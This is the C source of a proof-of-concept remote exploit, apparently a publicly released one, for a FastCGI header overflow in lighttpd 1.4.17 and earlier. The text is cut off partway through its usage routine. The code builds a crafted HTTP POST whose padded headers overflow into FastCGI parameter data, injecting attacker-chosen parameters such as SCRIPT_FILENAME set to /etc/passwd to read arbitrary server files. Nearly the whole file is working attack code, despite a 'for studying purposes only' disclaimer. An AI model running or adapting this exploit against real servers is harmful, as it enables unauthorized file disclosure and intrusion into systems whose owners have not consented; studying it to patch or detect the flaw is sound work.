/*********************************************************** * hoagie_lighttpd.c * LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17) * * Bug discovered by: * Mattias Bengtsson * Philip Olausson * http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/ * * FastCGI: * http://www.fastcgi.com/devkit/doc/fcgi-spec.html * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ #include #include #include #include #include #include #include #include #include /* don't change this values except you know exactly what you are doing */ #define REQUEST_SIZE_BASE 0x1530a char FILL_CHAR[] = "void"; char RANDOM_CHAR[] = "01234567890" "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; /* just default values */ #define DEFAULT_SCRIPT "/index.php" /* can be changed via -s */ #define DEFAULT_PORT "80" /* can be changed via -p */ #define DEFAULT_NAME "SCRIPT_FILENAME" /* can be changed via -n */ #define DEFAULT_VALUE "/etc/passwd" /* can be change via -a */ #define DEFAULT_SEPARATOR ',' #define BUFFER_SIZE 1024 /* header data type * defining header name/value content and length * if a fixed value is set use this one instead of generating content */ struct header_t { int name_length; char name_char; int value_length; char value_char; char *value_value; }; /* generate_param * generate character array (input: comma separated list) */ char *generate_param(int *param_size_out, char **name, char **value) { char *param = NULL; int param_size = 0; int param_offset = 0; int i; int name_length = 0; int value_length = 0; for (i = 0; name[i] != NULL && value[i] != NULL; i++) { name_length = strlen(name[i]); value_length = strlen(value[i]); if (name_length > 127) { param_size += 4; } else { param_size++; } if (value_length > 127) { param_size += 4; } else { param_size++; } param_size += strlen(name[i]) + strlen(value[i]); param = realloc(param, param_size); if (param) { if (strlen(name[i]) > 127) { param[param_offset++] = (name_length >> 24) | 0x80; param[param_offset++] = (name_length >> 16) & 0xff; param[param_offset++] = (name_length >> 8) & 0xff; param[param_offset++] = name_length & 0xff; } else { param[param_offset++] = name_length; } if (strlen(value[i]) > 127) { param[param_offset++] = (value_length >> 24) | 0x80; param[param_offset++] = (value_length >> 16) & 0xff; param[param_offset++] = (value_length >> 8) & 0xff; param[param_offset++] = value_length & 0xff; } else { param[param_offset++] = value_length; } memcpy(param + param_offset, name[i], name_length); param_offset += name_length; memcpy(param + param_offset, value[i], value_length); param_offset += value_length; } } if (param) { *param_size_out = param_size; } return param; } /* generate_buffer * generate header name or value buffer */ char *generate_buffer(int length, char c, int random_mode) { char *buffer = (char*)malloc(length + 1); int i; if (buffer) { memset(buffer, 0, length + 1); if (random_mode) { for (i = 0; i < length; i++) { buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))]; } } else { memset(buffer, c, length); } } return buffer; } /* generate_array * generate character array (input: comma separated list) */ char **generate_array(char *list, char separator, int *length) { char **data = NULL; int i = 0; int start = 0; int j = 1; if (list) { for (i = 0; i <= strlen(list); i++) { if (list[i] == separator || i == strlen(list)) { data = realloc(data, (j + 1) * (sizeof(char*))); if (data) { data[j - 1] = malloc(i - start + 1); if (data[j - 1]) { strncpy(data[j - 1], list + start, i - start); data[j - 1][i - start + 1] = 0; } data[j] = NULL; } start = i + 1; j++; } } *length = j; } return data; } /* generate_request * generate http request to trigger the overflow in fastcgi module * and overwrite fcgi param data with post content */ char *generate_request(char *server, char *port, char *script, char **names, char **values, int *length_out, int random_mode) { char *param; int param_size; char *request; int offset; int length; int i; int fillup; char *name; char *value; /* array of header data that is used to create header name and value lines * most of this values can be changed -> only length is important and a * few characters */ struct header_t header[] = { { 0x01, '0', 0x04, FILL_CHAR[0], NULL }, { FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL }, { 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL }, { 0x01, '2', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'D', NULL }, { 0x01, '3', 0x04, FILL_CHAR[1], NULL }, { FILL_CHAR[1] - 0x5 - 0x2, 'F', FILL_CHAR[1] - 0x2, 'F', NULL }, { 0x01, '4', 0x5450 - ( (FILL_CHAR[1] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'H', NULL }, { 0x01, '5', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'I', NULL }, { 0x01, '6', 0x04, FILL_CHAR[2], NULL }, { FILL_CHAR[2] - 0x5 - 0x2, 'K', FILL_CHAR[2] - 0x2, 'K', NULL }, { 0x01, '7', 0x5450 - ( (FILL_CHAR[2] + 0x1) * 2) - 0x1 - 0x5 - 0x1 - 0x4, 'L', NULL }, { 0x01, '8', '_' - 0x1 - 0x5 - 0x1 - 0x1, 'M', NULL }, { 0x01, '9', 0, 0, "uvzz" }, { FILL_CHAR[3] - 0x5 - 0x2, 'O', FILL_CHAR[3] - 0x2, 'O', NULL }, { 0x01, 'z', 0x1cf - ((FILL_CHAR[3]- 0x1 ) * 2) -0x1 - 0x5 - 0x1 - 0x4, 'z', NULL }, { 0x00, 0x00, 0x00, 0x00, NULL } }; /* fill rest of post content with data */ char content_part_one[] = { 0x06, 0x80, 0x00, 0x00, 0x00, 'H', 'T', 'T', 'P', '_', 'W' }; /* set a fake FastCGI record to mark the end of data */ char content_part_two[] = { 0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; param = generate_param(¶m_size, names, values); if (param && param_size > 0) { fillup = 0x54af - 0x5f - 0x1e3 - param_size - 0x1 - 0x5 - 0x1 - 0x4; length = REQUEST_SIZE_BASE + param_size + strlen(server) + strlen(port) + strlen(script); request = (char*)malloc(length); if (request) { memset(request, 0, length); offset = sprintf(request, "POST %s HTTP/1.1\r\n" "Host: %s:%s\r\n" "Connection: close\r\n" "Content-Length: %d\r\n" "Content-Type: application/x-www-form-urlencoded\r\n", script, server, port, fillup + param_size + sizeof(content_part_one) + sizeof(content_part_two) + 0x5f); for (i = 0; header[i].name_length != 0; i++) { name = generate_buffer(header[i].name_length, header[i].name_char, header[i].name_length != 1 ? random_mode : 0); if (header[i].value_value) { value = header[i].value_value; } else { value = generate_buffer(header[i].value_length, header[i].value_char, header[i].value_length != 4 && header[i].value_char != 'z' ? random_mode : 0); } offset += sprintf(request + offset, "%s: %s\r\n", name, value); if (!header[i].value_value) { free(value); } free(name); } offset += sprintf(request + offset, "\r\n"); memcpy(request + offset, param, param_size); offset += param_size; content_part_one[0x03] = (fillup >> 8) & 0xff; content_part_one[0x04] = fillup & 0xff; for (i = 0; i < sizeof(content_part_one); i++) { request[offset++] = content_part_one[i]; } for (i = 0; i < fillup + 0x5f; i++) { request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : 'W'; } for (i = 0; i < sizeof(content_part_two); i++) { request[offset++] = content_part_two[i]; } *length_out = offset; } } return request; } /* usage * display help screen */ void usage(int argc, char **argv) { fprintf(stderr, "usage: %s [-h] [-v] [-r] [-d ] [-s